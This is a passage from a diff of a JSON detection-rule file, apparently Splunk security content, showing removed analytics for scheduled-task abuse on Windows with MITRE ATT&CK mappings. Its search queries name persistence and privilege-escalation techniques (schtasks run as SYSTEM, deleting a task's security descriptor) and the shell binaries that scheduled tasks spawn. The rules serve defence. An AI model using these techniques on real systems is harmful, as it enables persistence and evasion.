"mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Enable Win32 ScheduledJob via Registry", - "description": "The following analytic detects the creation of a new DWORD value named \"EnableAt\" in the registry path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Configuration\". This modification enables the use of the at.exe or wmi Win32_ScheduledJob commands to add scheduled tasks on a Windows endpoint. The detection leverages registry event data from the Endpoint datamodel. This activity is significant because it may indicate that an attacker is enabling the ability to schedule tasks, potentially to execute malicious code at specific times or intervals. If confirmed malicious, this could allow persistent code execution on the system.", - "search": "| tstats `security_content_summariesonly` count values(Registry.registry_key_name) as registry_key_name values(Registry.registry_path) as registry_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\CurrentVersion\\\\Schedule\\\\Configuration*\" Registry.registry_value_name=EnableAt by Registry.dest, Registry.user, Registry.registry_value_name, Registry.registry_value_type | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `windows_enable_win32_scheduledjob_via_registry_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process has modified the schedule task registry value - EnableAt - on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows PowerShell ScheduleTask", - "description": "The following analytic detects potential malicious activities involving PowerShell's task scheduling cmdlets. It leverages PowerShell Script Block Logging (EventCode 4104) to identify unusual or suspicious use of cmdlets like 'New-ScheduledTask' and 'Set-ScheduledTask'. This activity is significant as attackers often use these cmdlets for persistence and remote execution of malicious code. If confirmed malicious, this could allow attackers to maintain access, deliver additional payloads, or execute ransomware, leading to data theft or other severe impacts. Immediate investigation and mitigation are crucial to prevent further compromise.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*New-ScheduledTask*\", \"*New-ScheduledTaskAction*\", \"*New-ScheduledTaskSettingsSet*\", \"*New-ScheduledTaskTrigger*\", \"*Register-ClusteredScheduledTask*\", \"*Register-ScheduledTask*\", \"*Set-ClusteredScheduledTask*\", \"*Set-ScheduledTask*\", \"*Start-ScheduledTask*\", \"*Enable-ScheduledTask*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_scheduletask_filter`", - "tags": { - "analytic_story": [ - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user_id", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The PowerShell cmdlets related to task creation, modification and start occurred on $Computer$ by $user_id$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Registry Delete Task SD", - "description": "The following analytic detects a process attempting to delete a scheduled task's Security Descriptor (SD) from the registry path of that task. It leverages the Endpoint.Registry data model to identify registry actions performed by the SYSTEM user, specifically targeting deletions or modifications of the SD value. This activity is significant as it may indicate an attempt to remove evidence of a scheduled task for defense evasion. If confirmed malicious, it suggests an attacker with privileged access trying to hide their tracks, potentially compromising system integrity and security. Immediate investigation is required.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\Schedule\\\\TaskCache\\\\Tree\\\\*\") Registry.user=\"SYSTEM\" Registry.registry_value_name=\"SD\" (Registry.action=Deleted OR Registry.action=modified) by _time Registry.dest Registry.process_guid Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_key_name Registry.registry_value_data Registry.status Registry.action | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_registry_delete_task_sd_filter`", - "tags": { - "analytic_story": [ - "Scheduled Tasks", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A scheduled task security descriptor was deleted from the registry on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Scheduled Task Created Via XML", - "description": "The following analytic detects the creation of scheduled tasks in Windows using schtasks.exe with the -create flag and an XML parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it is a common technique for establishing persistence or achieving privilege escalation, often used by malware like Trickbot and Winter-Vivern. If confirmed malicious, this could allow attackers to maintain access, execute additional payloads, and potentially lead to data theft or ransomware deployment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe Processes.process=*create* Processes.process=\"* /xml *\" by Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.process_id Processes.parent_process_guid Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_scheduled_task_created_via_xml_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Scheduled Tasks", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A scheduled task process, $process_name$, with 'create' or 'delete' commands present in the command line.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Windows Scheduled Task Service Spawned Shell", - "description": "The following analytic detects when the Task Scheduler service (\"svchost.exe -k netsvcs -p -s Schedule\") spawns common command line, scripting, or shell execution binaries such as \"powershell.exe\" or \"cmd.exe\". This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant as attackers often abuse the Task Scheduler for execution and persistence, blending in with legitimate Windows operations. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, or escalate privileges within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process=\"*\\\\system32\\\\svchost.exe*\" AND Processes.parent_process=\"*-k*\" AND Processes.parent_process= \"*netsvcs*\" AND Processes.parent_process=\"*-p*\" AND Processes.parent_process=\"*-s*\" AND Processes.parent_process=\"*Schedule*\" Processes.process_name IN(\"powershell.exe\", \"wscript.exe\", \"cscript.exe\", \"cmd.exe\", \"sh.exe\", \"ksh.exe\", \"zsh.exe\", \"bash.exe\", \"scrcons.exe\",\"pwsh.exe\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_scheduled_task_service_spawned_shell_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A windows scheduled task spawned the shell application $process_name$ on $dest$.", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Scheduled Task with Highest Privileges", - "description": "The following analytic detects the creation of a new scheduled task with the highest execution privileges via Schtasks.exe. It leverages Endpoint Detection and Response (EDR) logs to monitor for specific command-line parameters ('/rl' and 'highest') in schtasks.exe executions. This activity is significant as it is commonly used in AsyncRAT attacks for persistence and privilege escalation. If confirmed malicious, this could allow an attacker to maintain persistent access and execute tasks with elevated privileges, potentially leading to unauthorized system access and data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"schtasks.exe\" Processes.process = \"*/rl *\" Processes.process = \"* highest *\" by Processes.process_name Processes.parent_process_name Processes.parent_process Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_scheduled_task_with_highest_privileges_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "CISA AA23-347A", - "RedLine Stealer", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ creating a schedule task $process$ with highest run level privilege in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Schtasks Create Run As System", - "description": "The following analytic detects the creation of a new scheduled task using Schtasks.exe to run as the SYSTEM user. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it often indicates an attempt to gain elevated privileges or maintain persistence within the environment. If confirmed malicious, an attacker could execute code with SYSTEM-level privileges, potentially leading to data theft, ransomware deployment, or further system compromise. Immediate investigation and mitigation are crucial to prevent further damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_schtasks` Processes.process=\"*/create *\" AND Processes.process=\"*/ru *\" AND Processes.process=\"*system*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_schtasks_create_run_as_system_filter`", - "tags": { - "analytic_story": [ - "Qakbot", - "Scheduled Tasks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An $process_name$ was created on endpoint $dest$ attempting to spawn as SYSTEM.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "WinEvent Scheduled Task Created to Spawn Shell", - "description": "The following analytic detects the creation of scheduled tasks designed to execute commands using native Windows shells like PowerShell, Cmd, Wscript, or Cscript. It leverages Windows Security EventCode 4698 to identify when such tasks are registered. This activity is significant as it may indicate an attempt to establish persistence or execute malicious commands on a system. If confirmed malicious, this could allow an attacker to maintain access, execute arbitrary code, or escalate privileges, posing a severe threat to the environment.", - "search": "`wineventlog_security` EventCode=4698 TaskContent IN (\"*powershell.exe*\", \"*wscript.exe*\", \"*cscript.exe*\", \"*cmd.exe*\", \"*sh.exe*\", \"*ksh.exe*\", \"*zsh.exe*\", \"*bash.exe*\", \"*scrcons.exe*\", \"*pwsh.exe*\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer, TaskName, TaskContent | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winevent_scheduled_task_created_to_spawn_shell_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Ransomware", - "Ryuk Ransomware", - "Scheduled Tasks", - "Windows Error Reporting Service Elevation of Privilege Vulnerability", - "Windows Persistence Techniques", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A windows scheduled task was created (task name=$TaskName$) on $dest$ by the following command: $TaskContent$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "WinEvent Scheduled Task Created Within Public Path", - "description": "The following analytic detects the creation of scheduled tasks within user-writable paths using Windows Security EventCode 4698. It identifies tasks registered via schtasks.exe or TaskService that execute commands from directories like Public, ProgramData, Temp, and AppData. This behavior is significant as it may indicate an attempt to establish persistence or execute unauthorized commands. If confirmed malicious, an attacker could maintain long-term access, escalate privileges, or execute arbitrary code, posing a severe threat to system integrity and security.", - "search": "`wineventlog_security` EventCode=4698 TaskContent IN (\"*\\\\users\\\\public\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer, TaskName, TaskContent | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winevent_scheduled_task_created_within_public_path_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "AsyncRAT", - "CISA AA22-257A", - "CISA AA23-347A", - "Data Destruction", - "IcedID", - "Industroyer2", - "Prestige Ransomware", - "Ransomware", - "Ryuk Ransomware", - "Scheduled Tasks", - "Windows Persistence Techniques", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A windows scheduled task was created (task name=$TaskName$) on $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "WinEvent Windows Task Scheduler Event Action Started", - "description": "The following analytic detects the execution of tasks registered in Windows Task Scheduler by monitoring EventID 200 (action run) and 201 (action completed) from the Task Scheduler logs. This detection leverages Task Scheduler logs to identify potentially suspicious or unauthorized task executions. Monitoring these events is significant for a SOC as it helps uncover evasive techniques used for persistence, unauthorized code execution, or other malicious activities. If confirmed malicious, this activity could lead to unauthorized access, data exfiltration, or the execution of harmful payloads, posing a significant threat to the environment.", - "search": "`wineventlog_task_scheduler` EventCode IN (\"200\",\"201\") | stats count min(_time) as firstTime max(_time) as lastTime by TaskName dest EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winevent_windows_task_scheduler_event_action_started_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "AsyncRAT", - "CISA AA22-257A", - "DarkCrystal RAT", - "Data Destruction", - "IcedID", - "Industroyer2", - "Prestige Ransomware", - "Qakbot", - "Sandworm Tools", - "Scheduled Tasks", - "Windows Persistence Techniques", - "Winter Vivern", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A Scheduled Task was scheduled and ran on $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -94720,651 +92269,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "7zip CommandLine To SMB Share Path", - "description": "The following 